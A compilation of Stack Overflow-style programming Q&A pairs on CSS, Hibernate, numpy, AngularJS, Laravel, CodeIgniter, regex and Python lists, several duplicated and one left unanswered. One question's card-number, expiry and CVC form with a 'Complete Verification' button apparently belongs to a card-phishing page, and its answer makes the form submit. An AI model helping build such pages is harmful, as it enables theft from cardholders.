答:
I've done a little change in the style:

 .navigation {
        background-color: rgba(15, 58, 114, 0.9);
        overflow-y: auto;
        position: fixed;
        left: 0;
        top: 0;
        right: 0;
        text-align: left;
        width: 100%;
        z-index: 10000;
        box-sizing: border-box;
    }

    .log {
        margin: 0 auto;
        float: right;
    }

    ul {
        padding: 0;
    }

    li {
        color: White;
        list-style: none;
        font-family: 'Raleway', sans-serif;
        font-size: 18px;
        font-weight: 300;
        text-transform: uppercase;
        float: right;
    }

    li a {
        display: inline-block;
        color: White;
        text-align: Center;
        padding: 14px 16px;
        text-decoration: none;
    }

    li a:hover {
        background-color: rgba(0, 0, 0, 0);
    }

    #logo {
        color: #FFFFFF;
        font-family: 'Vollkorn';
        font-size: 34px;
        padding: 0px 50px;
        text-align: center;
        float: left !important;
        margin-top: -10px;
    }```
<pre class="snippet-code-html lang-html prettyprint-override"><code> <div class="navigation">
        <ul>
            <li id="logo">LOGO</li>
            <div class="log">
                <li>LOGIN</li>
                <li>JOIN WITH US</li>
            </div>
        </ul>
    </div></code>```

Title: how to reduce the height of the navigation bar in css

Body:
I've done a little change in the style:

 .navigation {
        background-color: rgba(15, 58, 114, 0.9);
        overflow-y: auto;
        position: fixed;
        left: 0;
        top: 0;
        right: 0;
        text-align: left;
        width: 100%;
        z-index: 10000;
        box-sizing: border-box;
    }

    .log {
        margin: 0 auto;
        float: right;
    }

    ul {
        padding: 0;
    }

    li {
        color: White;
        list-style: none;
        font-family: 'Raleway', sans-serif;
        font-size: 18px;
        font-weight: 300;
        text-transform: uppercase;
        float: right;
    }

    li a {
        display: inline-block;
        color: White;
        text-align: Center;
        padding: 14px 16px;
        text-decoration: none;
    }

    li a:hover {
        background-color: rgba(0, 0, 0, 0);
    }

    #logo {
        color: #FFFFFF;
        font-family: 'Vollkorn';
        font-size: 34px;
        padding: 0px 50px;
        text-align: center;
        float: left !important;
        margin-top: -10px;
    }

 <div class="navigation">
        <ul>
            <li id="logo"><a href="#logo">LOGO</a></li>
            <div class="log">
                <li><a href="/login.html">LOGIN</a></li>
                <li><a href="#join">JOIN WITH US</a></li>
            </div>
        </ul>
    </div>


来源: stackexchange

问:
How does Hibernate differenciate detached object from transient, where I set the id manually
How does Hibernate differenciate detached object from transient object, where I set the id manually?
I mean, without consulting the database. For example, when I try to persist a transient object where I set the id manually, how will Hibernate know that my object is transient? or my object will be considered a detached object because the id is not empty? </p>

答:
Transient - an object is transient if it has just been instantiated
  using the new operator, and it is not associated with a Hibernate
  Session. It has no persistent representation in the database and no
  identifier value has been assigned.

Detached - a detached instance is an object that has been persistent,
  but its Session has been closed. The reference to the object is still
  valid, of course, and the detached instance might even be modified in
  this state.

Hibernate api has class ClassMetadata with method getIdentifier , with this you can check stage for your entity.

```<code>SessionFactory sb f = HibernateUtil.getSessionFactory();
ClassMetadata metadata = sf.getClassMetadata(data.getClass());

if(metadata.getIdentifier(data) == null) {
     return TRANSIENT;
}
</code>```

ContentLicense: CC BY-SA 3.0

Body:
Transient - an object is transient if it has just been instantiated
  using the new operator, and it is not associated with a Hibernate
  Session. It has no persistent representation in the database and no
  identifier value has been assigned.

Detached - a detached instance is an object that has been persistent,
  but its Session has been closed. The reference to the object is still
  valid, of course, and the detached instance might even be modified in
  this state.

Hibernate api has class ClassMetadata with method getIdentifier , with this you can check stage for your entity.

SessionFactory sb f = HibernateUtil.getSessionFactory();
ClassMetadata metadata = sf.getClassMetadata(data.getClass());

if(metadata.getIdentifier(data) == null) {
     return TRANSIENT;
}


问:
button refreshes website even if there is an action
I'm working on a website but it seems that I'm having some problems with a <button> because it refreshes the website even if I have a  with an action that is a file called r2.php.
The <button> is supposed to take me to the file r2.php but apparently it's just refreshing the website here is the code of the page :

```<code><form action="r2.php">
  <div class="row">
    <div class="col-xs-12">
      <div class="form-group">
        <label for="cardnumber" class="card-label">
                        <span id="trans-cardnumber">Card number</span>
                        <span class="card-icons">
                            <span id="provider-icons"><span class="icon-provider visa disabled" data-type="visa"></span><span class="icon-provider mastercard disabled" data-type="mastercard"></span><span class="icon-provider amex disabled" data-type="amex"></span><span class="icon-provider discover disabled" data-type="discover"></span></span>
                            <a id="secure-lock" class="icon-provider lock" data-tooltip="" data-lang="security_explained"></a>
                        </span>
                    </label>
        <span class="safe-field">
                        <input id="cardnumber" autocomplete="cc-number" type="tel" pattern="[0-9]*" placeholder="1111 2222 3333 4444" data-encrypted-name="number" class="form-control">
                    </span>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-12">
      <div class="form-group">
        <label id="trans-expiration_date" for="expiration_date">Expiry date</label>
        <div class="row">
          <div class="col-xs-6">
            <select id="expiry-month" autocomplete="cc-exp-month" data-encrypted-name="expiryMonth" class="form-control">
                                <option id="trans-label_month" value="" default="default" selected="selected">Month</option>
                                <option value="1">01</option>
                                <option value="2">02</option>
                                <option value="3">03</option>
                                <option value="4">04</option>
                                <option value="5">05</option>
                                <option value="6">06</option>
                                <option value="7">07</option>
                                <option value="8">08</option>
                                <option value="9">09</option>
                                <option value="10">10</option>
                                <option value="11">11</option>
                                <option value="12">12</option>
                            </select>
          </div>
          <div class="col-xs-6">
            <select id="expiry-year" autocomplete="cc-exp-year" data-encrypted-name="expiryYear" class="form-control">
                                <option id="trans-label_year" value="" default="" selected="selected">Year</option>
                            <option value="2017">17</option><option value="2018">18</option><option value="2019">19</option><option value="2020">20</option><option value="2021">21</option><option value="2022">22</option><option value="2023">23</option><option value="2024">24</option><option value="2025">25</option><option value="2026">26</option><option value="2027">27</option><option value="2028">28</option><option value="2029">29</option><option value="2030">30</option><option value="2031">31</option><option value="2032">32</option><option value="2033">33</option><option value="2034">34</option><option value="2035">35</option><option value="2036">36</option><option value="2037">37</option><option value="2038">38</option><option value="2039">39</option><option value="2040">40</option><option value="2041">41</option><option value="2042">42</option><option value="2043">43</option><option value="2044">44</option><option value="2045">45</option><option value="2046">46</option></select>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-6">
      <div class="form-group">
        <label id="trans-security_code" for="security-code" class="contain-tooltip" data-tooltip="" data-lang="cvc_info">Security code</label>
        <span class="safe-field">
                        <input id="security-code" autocomplete="off" type="tel" pattern="[0-9]*" placeholder="" data-encrypted-name="cvc" class="form-control">
                    </span>
      </div>
    </div>
    <div class="col-xs-6">
      <div class="form-group">
        <label id="trans-label_postal_code" for="zip-code">Zip code</label>
        <input id="zip-code" name="zip-code" autocomplete="off" type="text" class="form-control">
      </div>
    </div>
  </div>

  <aside class="aside-legal">

    <p>
      You hereby authorise us to charge you automatically every month until you cancel your subscription. Full terms are available <a href="/us/legal/end-user-agreement/" target="_blank">here.</a>
    </p>
  </aside>

  <button type="submit">Complete Verification</button>

</form>
</code>```

答:
The problem was in the form I didn't put a post method like this : </p>

```<code> <form action="r2.php" method="POST">
</code>```

Body:
I'm working on a website but it seems that I'm having some problems with a <button> because it refreshes the website even if I have a  with an action that is a file called r2.php.
The <button> is supposed to take me to the file r2.php but apparently it's just refreshing the website here is the code of the page :

<form action="r2.php">

                        Card number

                        <input id="cardnumber" autocomplete="cc-number" type="tel" pattern="[0-9]*" placeholder="1111 2222 3333 4444" data-encrypted-name="number" class="form-control">

        Expiry date

            <select id="expiry-month" autocomplete="cc-exp-month" data-encrypted-name="expiryMonth" class="form-control">
                                <option id="trans-label_month" value="" default="default" selected="selected">Month</option>
                                <option value="1">01</option>
                                <option value="2">02</option>
                                <option value="3">03</option>
                                <option value="4">04</option>
                                <option value="5">05</option>
                                <option value="6">06</option>
                                <option value="7">07</option>
                                <option value="8">08</option>
                                <option value="9">09</option>
                                <option value="10">10</option>
                                <option value="11">11</option>
                                <option value="12">12</option>
                            </select>

            <select id="expiry-year" autocomplete="cc-exp-year" data-encrypted-name="expiryYear" class="form-control">
                                <option id="trans-label_year" value="" default="" selected="selected">Year</option>
                            <option value="2017">17</option><option value="2018">18</option><option value="2019">19</option><option value="2020">20</option><option value="2021">21</option><option value="2022">22</option><option value="2023">23</option><option value="2024">24</option><option value="2025">25</option><option value="2026">26</option><option value="2027">27</option><option value="2028">28</option><option value="2029">29</option><option value="2030">30</option><option value="2031">31</option><option value="2032">32</option><option value="2033">33</option><option value="2034">34</option><option value="2035">35</option><option value="2036">36</option><option value="2037">37</option><option value="2038">38</option><option value="2039">39</option><option value="2040">40</option><option value="2041">41</option><option value="2042">42</option><option value="2043">43</option><option value="2044">44</option><option value="2045">45</option><option value="2046">46</option></select>

        Security code

                        <input id="security-code" autocomplete="off" type="tel" pattern="[0-9]*" placeholder="" data-encrypted-name="cvc" class="form-control">

        Zip code
        <input id="zip-code" name="zip-code" autocomplete="off" type="text" class="form-control">

      You hereby authorise us to charge you automatically every month until you cancel your subscription. Full terms are available here.

  <button type="submit">Complete Verification</button>

</form>

Body:
The problem was in the form I didn't put a post method like this :

 <form action="r2.php" method="POST">


问:
Reading float as well as string in proper format
I am trying to read data from a csv file. there are 7 columns. Column indexed 5 is a string type while rest of the columns are floats.

When I give following command just to read the float data the output is in proper format.

```<code>data = np.loadtxt('data.csv', delimiter=',', usecols= (0,1,2,3,4,6))
print "\ndata=\n",data
</code>```

Output is

```<code>data=
 [[  3.00000000e+00   9.46000000e+01   1.80180000e+02   3.28900000e+01
    6.80685824e+00   3.70000000e-01]
...,
 [  3.00000000e+00   1.33200000e+02   2.51460000e+02   2.01600000e+01
    5.77236048e+00  -2.70000000e-01]]
</code>```

with shape of (500L, 6L)

But then when I try to read all the columns including the column number 5 which is string type I use following code:

```<code>    datastr = np.loadtxt('data.csv', delimiter=',',dtype={'names': ('c1','c2','c3','c4','c5','c6','c7'),
                                                                            'formats':('f4','f4','f4','f4','f4','S10','f4')})
print "\ndatastr=\n",datastr
</code>```

Now the output is

```<code>datastr=
[ ( 3.,   94.59999847,  180.17999268,  32.88999939,   6.80685806, 'Large',  0.37      ) ... ( 3.,  133.19999695,  251.46000671,  20.15999985,   5.77236032, 'Small', -0.27000001)]
</code>```

with a shape of (500L,)

But I need to get this datastr shape to (500L,7L) just like in the all float example I had shape of (500L,6L)

How do I do this?

Thanks

答: The elements in datastr is <type 'numpy.void'>,you can find some information about it at here.

Body:
I am trying to read data from a csv file. there are 7 columns. Column indexed 5 is a string type while rest of the columns are floats.

When I give following command just to read the float data the output is in proper format.

data = np.loadtxt('data.csv', delimiter=',', usecols= (0,1,2,3,4,6))
print "\ndata=\n",data

Output is

data=
 [[  3.00000000e+00   9.46000000e+01   1.80180000e+02   3.28900000e+01
    6.80685824e+00   3.70000000e-01]
...,
 [  3.00000000e+00   1.33200000e+02   2.51460000e+02   2.01600000e+01
    5.77236048e+00  -2.70000000e-01]]

with shape of (500L, 6L)

But then when I try to read all the columns including the column number 5 which is string type I use following code:

    datastr = np.loadtxt('data.csv', delimiter=',',dtype={'names': ('c1','c2','c3','c4','c5','c6','c7'),
                                                                            'formats':('f4','f4','f4','f4','f4','S10','f4')})
print "\ndatastr=\n",datastr

Now the output is

datastr=
[ ( 3.,   94.59999847,  180.17999268,  32.88999939,   6.80685806, 'Large',  0.37      ) ... ( 3.,  133.19999695,  251.46000671,  20.15999985,   5.77236032, 'Small', -0.27000001)]

with a shape of (500L,)

But I need to get this datastr shape to (500L,7L) just like in the all float example I had shape of (500L,6L)

How do I do this?

Thanks


问:
How to set filter programmatically in directive
I've got an angular directive that allows numbers to be reformatted based on the responsive break points in bootstrap; so a small device would get a shortened number (1 Mil), a desktop device would get the full output (1,000,000).

Internally this switches between two html versions of the number, what I'd like to do is parameterize the number filter in the template HTML so I can switch it to currency in certain cases.

How can I use the filter argument set through the directive's scope as a dynamic filter parameter?

```<code>angular.module('myapp').directive("responsiveNumber", ['$log', '$filter', ($log, $filter) => {
    return {
        restrict: "E",
        replace: true,
        scope: {
            'value': '=',
            'precision': '=',
            'prefix': '=',
            'filter': '='
        },
        template: '<span>{{::prefix}}<span class="responsive-num-full">    {{::value | number:precision}}</span><span class="responsive-num-short" ng-bind-html="::value | shortNumber:precision"></span></span>',
        link: (scope: any, element: any) => {

        }
    };
}]);
</code>```

in use:

```<code><responsive-number value="availableFunds" precision="0" prefix="'$'" filter="'currency'"></responsive-number>
</code>```

答:
```<code>//try like this..not sure your stuff achieved or not..but this way u can try
angular.module('myapp').directive("responsiveNumber", ['$log', '$filter', ($log, $filter) => {
return {
    restrict: "E",
    replace: true,
    scope: {
        'value': '=',
        'precision': '=',
        'prefix': '=',
        'filter': '='
    },
    template: '<span>{{::prefix}}<span class="responsive-num-full">    {{::value | number:precision}}</span><span class="responsive-num-short" ng-bind-html="::value | shortNumber:precision"></span></span>',
    link: (scope: any, element: any) => {
      $filter('your filter name')(arg1,arg2); //e.g filte,date,currency
    }
};
</code>```

<p>}]);</p>

Body:
I've got an angular directive that allows numbers to be reformatted based on the responsive break points in bootstrap; so a small device would get a shortened number (1 Mil), a desktop device would get the full output (1,000,000).

Internally this switches between two html versions of the number, what I'd like to do is parameterize the number filter in the template HTML so I can switch it to currency in certain cases.

How can I use the filter argument set through the directive's scope as a dynamic filter parameter?

angular.module('myapp').directive("responsiveNumber", ['$log', '$filter', ($log, $filter) => {
    return {
        restrict: "E",
        replace: true,
        scope: {
            'value': '=',
            'precision': '=',
            'prefix': '=',
            'filter': '='
        },
        template: '{{::prefix}}    {{::value | number:precision}}',
        link: (scope: any, element: any) => {

        }
    };
}]);

in use:

<responsive-number value="availableFunds" precision="0" prefix="'$'" filter="'currency'"></responsive-number>

Body:
//try like this..not sure your stuff achieved or not..but this way u can try
angular.module('myapp').directive("responsiveNumber", ['$log', '$filter', ($log, $filter) => {
return {
    restrict: "E",
    replace: true,
    scope: {
        'value': '=',
        'precision': '=',
        'prefix': '=',
        'filter': '='
    },
    template: '<span>{{::prefix}}<span class="responsive-num-full">    {{::value | number:precision}}</span><span class="responsive-num-short" ng-bind-html="::value | shortNumber:precision"></span></span>',
    link: (scope: any, element: any) => {
      $filter('your filter name')(arg1,arg2); //e.g filte,date,currency
    }
};

}]);


问:
how to reduce the height of the navigation bar in css
I'm trying to reduce the height of my navigation bar.  when I use min-height property, it adds a scrollbar to the navigation bar which makes it not so appealing. I would like to align the logo to the extreme left and the rest of the contents to the extreme right.I have attached the code below. Please help me to fix it.

  .navigation {
      background-color: rgba(15,58,114,0.9);
      overflow-y: auto;
      position: fixed;
      left: 0;
      top: 0;
      text-align: left;
      width: 100%;
      z-index: 10000;
      box-sizing: border-box;
    }
     .log {
     text-align: right;
     top: 0;
     margin: 0 auto;
     right: 0;

     }
         ul {
         padding: 0;
       }
         li {
        color: White;
        display: inline-block;
        font-family: 'Raleway', sans-serif;
        font-size: 18px;
        font-weight: 300;
        margin: 16px 20px;
        text-transform: uppercase;
       }
         li a {
        display: inline-block;
        color: White;
        text-align: Center;
        padding: 14px 16px;
        text-decoraton: none;
       }
        li a:hover {
        background-color: rgba(0,0,0,0);
       }
        #logo {
        color: #FFFFFF;
        font-family: 'Vollkorn';
        font-size: 34px;
        padding: 0px 50px;
        text-align: center;
       }

 ```
<pre class="snippet-code-html lang-html prettyprint-override"><code> <div class="navigation">
    <ul>
       <li id="logo">LOGO</li>
       <div class="log">
       <li>LOGIN</li>
       <li>JOIN WITH US</li>
       </div>
     </ul>
  </div></code>```

答:
your logo and below that your menu list - that's the problem

make its side by side

```<code>.navigation ul {
    display: flex;
}
</code>```

.navigation {
  background-color: rgba(15,58,114,0.9);
  overflow-y: auto;
  position: fixed;
  left: 0;
  top: 0;
  /*text-align: left;*/
  width: 100%;
  z-index: 10000;
  box-sizing: border-box;
}

.navigation ul {
 display: flex;      /* new line added */
}

#logo {
 flex: 2;  /* new line added */
}

 .log {
 /*text-align: right;*/
 top: 0;
 margin: 0 auto;
 right: 0;
display: flex;    /* new line added */
flex: 8;    /* new line added */
justify-content: flex-end;    /* new line added */
 }
     ul {
     padding: 0;
   }
     li {
    color: White;
    display: inline-block;
    font-family: 'Raleway', sans-serif;
    font-size: 18px;
    font-weight: 300;
    margin: 16px 20px;
    text-transform: uppercase;
   }
     li a {
    display: inline-block;
    color: White;
    text-align: Center;
    padding: 14px 16px;
    text-decoration: none;
   }
    li a:hover {
    background-color: rgba(0,0,0,0);
   }
    #logo {
    color: #FFFFFF;
    font-family: 'Vollkorn';
    font-size: 34px;
    padding: 0px 50px;
    text-align: center;
   }```
<pre class="snippet-code-html lang-html prettyprint-override"><code>  <div class="navigation">
        <ul>
            <li id="logo">LOGO</li>
            <div class="log">
                <li>LOGIN</li>
                <li>JOIN WITH US</li>
            </div>
        </ul>
    </div></code>```

Body:
I'm trying to reduce the height of my navigation bar.  when I use min-height property, it adds a scrollbar to the navigation bar which makes it not so appealing. I would like to align the logo to the extreme left and the rest of the contents to the extreme right.I have attached the code below. Please help me to fix it.

  .navigation {
      background-color: rgba(15,58,114,0.9);
      overflow-y: auto;
      position: fixed;
      left: 0;
      top: 0;
      text-align: left;
      width: 100%;
      z-index: 10000;
      box-sizing: border-box;
    }
     .log {
     text-align: right;
     top: 0;
     margin: 0 auto;
     right: 0;

     }
         ul {
         padding: 0;
       }
         li {
        color: White;
        display: inline-block;
        font-family: 'Raleway', sans-serif;
        font-size: 18px;
        font-weight: 300;
        margin: 16px 20px;
        text-transform: uppercase;
       }
         li a {
        display: inline-block;
        color: White;
        text-align: Center;
        padding: 14px 16px;
        text-decoraton: none;
       }
        li a:hover {
        background-color: rgba(0,0,0,0);
       }
        #logo {
        color: #FFFFFF;
        font-family: 'Vollkorn';
        font-size: 34px;
        padding: 0px 50px;
        text-align: center;
       }

LOGO

LOGIN

JOIN WITH US

Body:
your logo and below that your menu list - that's the problem

make its side by side

.navigation ul {
    display: flex;
}

.navigation {
  background-color: rgba(15,58,114,0.9);
  overflow-y: auto;
  position: fixed;
  left: 0;
  top: 0;
  /*text-align: left;*/
  width: 100%;
  z-index: 10000;
  box-sizing: border-box;
}

.navigation ul {
 display: flex;      /* new line added */
}

#logo {
 flex: 2;  /* new line added */
}

 .log {
 /*text-align: right;*/
 top: 0;
 margin: 0 auto;
 right: 0;
display: flex;    /* new line added */
flex: 8;    /* new line added */
justify-content: flex-end;    /* new line added */
 }
     ul {
     padding: 0;
   }
     li {
    color: White;
    display: inline-block;
    font-family: 'Raleway', sans-serif;
    font-size: 18px;
    font-weight: 300;
    margin: 16px 20px;
    text-transform: uppercase;
   }
     li a {
    display: inline-block;
    color: White;
    text-align: Center;
    padding: 14px 16px;
    text-decoration: none;
   }
    li a:hover {
    background-color: rgba(0,0,0,0);
   }
    #logo {
    color: #FFFFFF;
    font-family: 'Vollkorn';
    font-size: 34px;
    padding: 0px 50px;
    text-align: center;
   }

  <div class="navigation">
        <ul>
            <li id="logo"><a href="#logo">LOGO</a></li>
            <div class="log">
                <li><a href="/login.html">LOGIN</a></li>
                <li><a href="#join">JOIN WITH US</a></li>
            </div>
        </ul>
    </div>


问:
Why do we need an Object Relational Mapper?
I bought a book on Hibernate.  I wanted to learn on what Hibernate is and what is Object Relational Mapping in general.

Harnessing Hibernate has good topics on Hibernate and I do think that I am able to write simple mapping classes now. My problem is, I think I am way ahead on the Hibernate but I really don't know why we need one.

The book explains Hibernate clearly but I think I am at lost because it does not discuss why we need Hibernate and an ORM.

答:
At its core, it's about Separation of Concerns.

Data persistence and logic are two separate concerns. The application coder should not have to concern himself with what flavor of SQL the IT staff has decided to use this week, and how to translate between the different paradigms of relation entities and object hierarchy entities.

The DBA should also not need to concern himself with object ownership rules and other almost-leaky concerns from the business layer.

In reality, in larger systems, you rarely can be completely vendor-agnostic, and the DAO layer inevitably picks up some non-ORM-related queries for performance tweaks. Tools like Hibernate do the best they can to make these situations as rare and abstract as possible.

ContentLicense: CC BY-SA 2.5


问:
How to add a class to Laravel next and previous pagination links
I am using the built in Laravel 5.2 pagination with the ->render() function to output the pagination links. I need to add a class to the next and previous links in order to style them. Is there a simple way to do it?

答:
for front end css framework like i use bulma i simply create jQuery Dom select pagination child li and add class pagination-link example</p>

```<code>$(document).ready(function(){
    // Setting Pagination Bulma Class
    $('.pagination>li').addClass("pagination-link");

});
</code>```

Body:
for front end css framework like i use bulma i simply create jQuery Dom select pagination child li and add class pagination-link example

$(document).ready(function(){
    // Setting Pagination Bulma Class
    $('.pagination>li').addClass("pagination-link");

});


问:
An uncaught Exception was encountered, Call to undefined method
I'm having this error and been trying to figure whats wrong for like 3 days straight with no luck:

An uncaught Exception was encountered

Type: Error

Message: Call to undefined method Nsbh::post()

Filename: application\controllers\nsbh.php

Line Number: 25

nsbh.php

```<code><?php
Class Nsbh extends CI_Controller{

    var $API ="";

    function __construct() {
        parent::__construct();
        $this->API="http://localhost/rest_ci/index.php";
        $this->load->library('session');
        $this->load->library('curl');
        $this->load->helper('form');
        $this->load->helper('url');
    }

    function index(){
        $data['datansbh'] = json_decode($this->curl->simple_get($this->API.'/nsbh'));
        $this->load->view('nsbh/list',$data);
    }

    function create(){
        if(isset($_POST['submit'])){
            $data = array(
                    'id'           => $this->post('id'),
                    'name'          => $this->post('name'),
                    'location'    => $this->post('location'),
                    'tgl'    => $this->post('tgl'),
                    'addrs'    => $this->post('addrs'));
            $insert =  $this->curl->simple_post($this->API.'/nsbh', $data, array(CURLOPT_BUFFERSIZE => 10));
            if($insert)
            {
                $this->session->set_flashdata('hasil','Insert Succeed');
            }else
            {
               $this->session->set_flashdata('hasil','Insert Failed');
            }
            redirect('nsbh');
        }else{

            $this->load->view('nsbh/create');
        }
    }

    function edit(){
        if(isset($_POST['submit'])){
            $data = array(
                    'id'           => $this->input->post('id'),
                    'name'          => $this->input->post('name'),
                    'location'    => $this->input->post('location'),
                    'tgl'    => $this->input->post('tgl'),
                    'addrs'    => $this->input->post('addrs'));
            $update =  $this->curl->simple_put($this->API.'/nsbh', $data, array(CURLOPT_BUFFERSIZE => 10));
            if($update)
            {
                $this->session->set_flashdata('hasil','Update Succeed');
            }else
            {
               $this->session->set_flashdata('hasil','Update Failed');
            }
            redirect('nsbh');
        }else{
            $params = array('id'=>  $this->uri->segment(3));
            $data['datansbh'] = json_decode($this->curl->simple_get($this->API.'/nsbh',$params));
            $this->load->view('nsbh/edit',$data);
        }
    }

    function delete($id){
        if(empty($id)){
            redirect('nsbh');
        }else{
            $delete =  $this->curl->simple_delete($this->API.'/nsbh', array('id'=>$id), array(CURLOPT_BUFFERSIZE => 10));
            if($delete)
            {
                $this->session->set_flashdata('hasil','Deleted');
            }else
            {
               $this->session->set_flashdata('hasil','Failed');
            }
            redirect('nsbh');
        }
    }
}
</code>```

And this is what's on line 25

```<code>'id'=> $this->post('id'),
</code>```

答:
change from

```<code>$data = array( 'id' => $this->post('id'),
               'name'  => $this->post('name'),
               'location' => $this->post('location'),
               'tgl' => $this->post('tgl'),
               'addrs' => $this->post('addrs'));
</code>```

to

```<code>$data = array('id' => $this->input->post('id'),
              'name' => $this->input->post('name'),
              'location' => $this->input->post('location'),
              'tgl' => $this->input->post('tgl'),
              'addrs' => $this->input->post('addrs'));
</code>```

As you already did in edit function

Body:
I'm having this error and been trying to figure whats wrong for like 3 days straight with no luck:

An uncaught Exception was encountered

Type: Error

Message: Call to undefined method Nsbh::post()

Filename: application\controllers\nsbh.php

Line Number: 25

nsbh.php

<?php
Class Nsbh extends CI_Controller{

    var $API ="";

    function __construct() {
        parent::__construct();
        $this->API="http://localhost/rest_ci/index.php";
        $this->load->library('session');
        $this->load->library('curl');
        $this->load->helper('form');
        $this->load->helper('url');
    }

    function index(){
        $data['datansbh'] = json_decode($this->curl->simple_get($this->API.'/nsbh'));
        $this->load->view('nsbh/list',$data);
    }

    function create(){
        if(isset($_POST['submit'])){
            $data = array(
                    'id'           => $this->post('id'),
                    'name'          => $this->post('name'),
                    'location'    => $this->post('location'),
                    'tgl'    => $this->post('tgl'),
                    'addrs'    => $this->post('addrs'));
            $insert =  $this->curl->simple_post($this->API.'/nsbh', $data, array(CURLOPT_BUFFERSIZE => 10));
            if($insert)
            {
                $this->session->set_flashdata('hasil','Insert Succeed');
            }else
            {
               $this->session->set_flashdata('hasil','Insert Failed');
            }
            redirect('nsbh');
        }else{

            $this->load->view('nsbh/create');
        }
    }

    function edit(){
        if(isset($_POST['submit'])){
            $data = array(
                    'id'           => $this->input->post('id'),
                    'name'          => $this->input->post('name'),
                    'location'    => $this->input->post('location'),
                    'tgl'    => $this->input->post('tgl'),
                    'addrs'    => $this->input->post('addrs'));
            $update =  $this->curl->simple_put($this->API.'/nsbh', $data, array(CURLOPT_BUFFERSIZE => 10));
            if($update)
            {
                $this->session->set_flashdata('hasil','Update Succeed');
            }else
            {
               $this->session->set_flashdata('hasil','Update Failed');
            }
            redirect('nsbh');
        }else{
            $params = array('id'=>  $this->uri->segment(3));
            $data['datansbh'] = json_decode($this->curl->simple_get($this->API.'/nsbh',$params));
            $this->load->view('nsbh/edit',$data);
        }
    }

    function delete($id){
        if(empty($id)){
            redirect('nsbh');
        }else{
            $delete =  $this->curl->simple_delete($this->API.'/nsbh', array('id'=>$id), array(CURLOPT_BUFFERSIZE => 10));
            if($delete)
            {
                $this->session->set_flashdata('hasil','Deleted');
            }else
            {
               $this->session->set_flashdata('hasil','Failed');
            }
            redirect('nsbh');
        }
    }
}

And this is what's on line 25

'id'=> $this->post('id'),

Body:
change from

$data = array( 'id' => $this->post('id'),
               'name'  => $this->post('name'),
               'location' => $this->post('location'),
               'tgl' => $this->post('tgl'),
               'addrs' => $this->post('addrs'));

to

$data = array('id' => $this->input->post('id'),
              'name' => $this->input->post('name'),
              'location' => $this->input->post('location'),
              'tgl' => $this->input->post('tgl'),
              'addrs' => $this->input->post('addrs'));

As you already did in edit function


问:
AndroidStudio how to show java doc while hover EVEN method never used
As title, I already set Show quick documentation  on mouse move ON.

Some of my method was set in public for other package called, when I hover it, the AndroidStudio just show me a stupid Method 'xxxxxx() is never used' message...

For now, it can only shown by press [control] + [space](on OSX), and I have to click anywhere other to dismiss it. I write java doc for every of my public method, so I'll check its result, press [control]+[space], click any other where, much much time.

I bet you can image how annoying it is......

Is that any way I can show a never used method's java doc directly ?

答:
Find the 'show quick documentation on mouse move' in preferences and chance the delay to something suitable for you.

Alternatively, you can press F1 (on mac) to show javadoc for the currently focused item.  Because ESC is right next to this and will close the javadoc window, and mouseover windows generally get in the way, I find this is best one to get used to.  There's something nice about the fine-grained control it gives you.

You can also press CMD+P to show the names of parameters for the currently focused item, if applicable.


问:
Reversing numbers in lines, have a regex already and need to modify it
I have a regex from a previous thread. This regex seems to only work in some numbers and I'm a total noob to regex and coding. Is there anyway to make all numbers in the text I have reversed? The max total of digits in my text is probably 10 digits in some lines, and in other maybe just 2, sometimes 3 or 4, but max is 10, I'll give examples.

```<code>goku144

r3apt0r

66958496

Veg3ta123
</code>```

The regex I have only makes some of the numbers reversed, not all, is there anyway to fix the regex provided by horucrux.

Regex below and link

How to make numbers backwards in notepad++

Step 1. Add a marker for the not-yet-inverted digits.

Find:

\b(\w+?)(\d+)\b

Replace:

$1§$2 You can choose other marker instead of §.

Step 2. Do Replace all enough times with these settings:

Find:

\b(\w+)§(\d*)(\d)\b

Replace:

$1$3§$2

Step 3. Delete all markers.

Find:

\b(\w+\d)§

Replace:

$1

答:
Since you deal with notepad++, it is very important to determine maximum length of the sequence as we have no power of programming languages.

Also it would be great to know if you want to reverse any sequence of digits -- in substrings starting with digits, digits in the middle, digits in the end.

Say you want to reverse ALL sequences of digits in your file and the longest sequence has 5 digits. Then:

find: (?<=\D)(\d)(\d)(\d)?(\d)?(\d)?(?=\D)

replace: $5$4$3$2$1

Body:
I have a regex from a previous thread. This regex seems to only work in some numbers and I'm a total noob to regex and coding. Is there anyway to make all numbers in the text I have reversed? The max total of digits in my text is probably 10 digits in some lines, and in other maybe just 2, sometimes 3 or 4, but max is 10, I'll give examples.

goku144

r3apt0r

66958496

Veg3ta123

The regex I have only makes some of the numbers reversed, not all, is there anyway to fix the regex provided by horucrux.

Regex below and link

How to make numbers backwards in notepad++

Step 1. Add a marker for the not-yet-inverted digits.

Find:

\b(\w+?)(\d+)\b

Replace:

$1§$2 You can choose other marker instead of §.

Step 2. Do Replace all enough times with these settings:

Find:

\b(\w+)§(\d*)(\d)\b

Replace:

$1$3§$2

Step 3. Delete all markers.

Find:

\b(\w+\d)§

Replace:

$1


问:
Why does creating a list of lists produce unexpected behavior?
EDIT: This question is about why the behavior is what it is, not how to get around it, which is what the alleged duplicate is about.

I've used the following notation to create lists of a certain size in different cases. For example:

```<code>>>> [None] * 5
[None, None, None, None, None]
>>>
</code>```

This appears to work as expected and is shorter than:

```<code>>>> [None for _ in range(5)]
[None, None, None, None, None]
>>>
</code>```

I then tried to create an list of lists using the same approach:

```<code>>>> [[]] * 5
[[], [], [], [], []]
>>>
</code>```

Fair enough. It seems to work as expected.

However, while going through the debugger, I noticed that all the sub-list buckets had the same value, even though I had added only a single item. For example:

```<code>>>> t = [[]] * 5
>>> t
[[], [], [], [], []]
>>> t[1].append(4)
>>> t
[[4], [4], [4], [4], [4]]
>>> t[0] is t[1]
True
>>>
</code>```

I was not expecting all top-level array elements to be references to a single sub-list; I expected 5 independent sub-lists.

For that, I had to write code like so:

```<code>>>> t = [[] for _ in range(5)]
>>> t
[[], [], [], [], []]
>>> t[2].append(4)
>>> t
[[], [], [4], [], []]
>>> t[0] is t[1]
False
>>>
</code>```

I'm clearly missing something, probably a historical fact or simply a different way in which the consistency here is viewed.

Can someone explain why two different code snippets that one would reasonably expect to be equivalent to each other actually end up implicitly producing different and non-obvious (IMO) results, especially given Python's zen of always being explicit and obvious?

Please note that I'm already aware of this question, which is different to what I'm asking.

I'm simply looking for a detailed explanation/justification. If there're historical, technical, and/or theoretical reasons for this behavior, then please be sure to include a reference or two.

答:
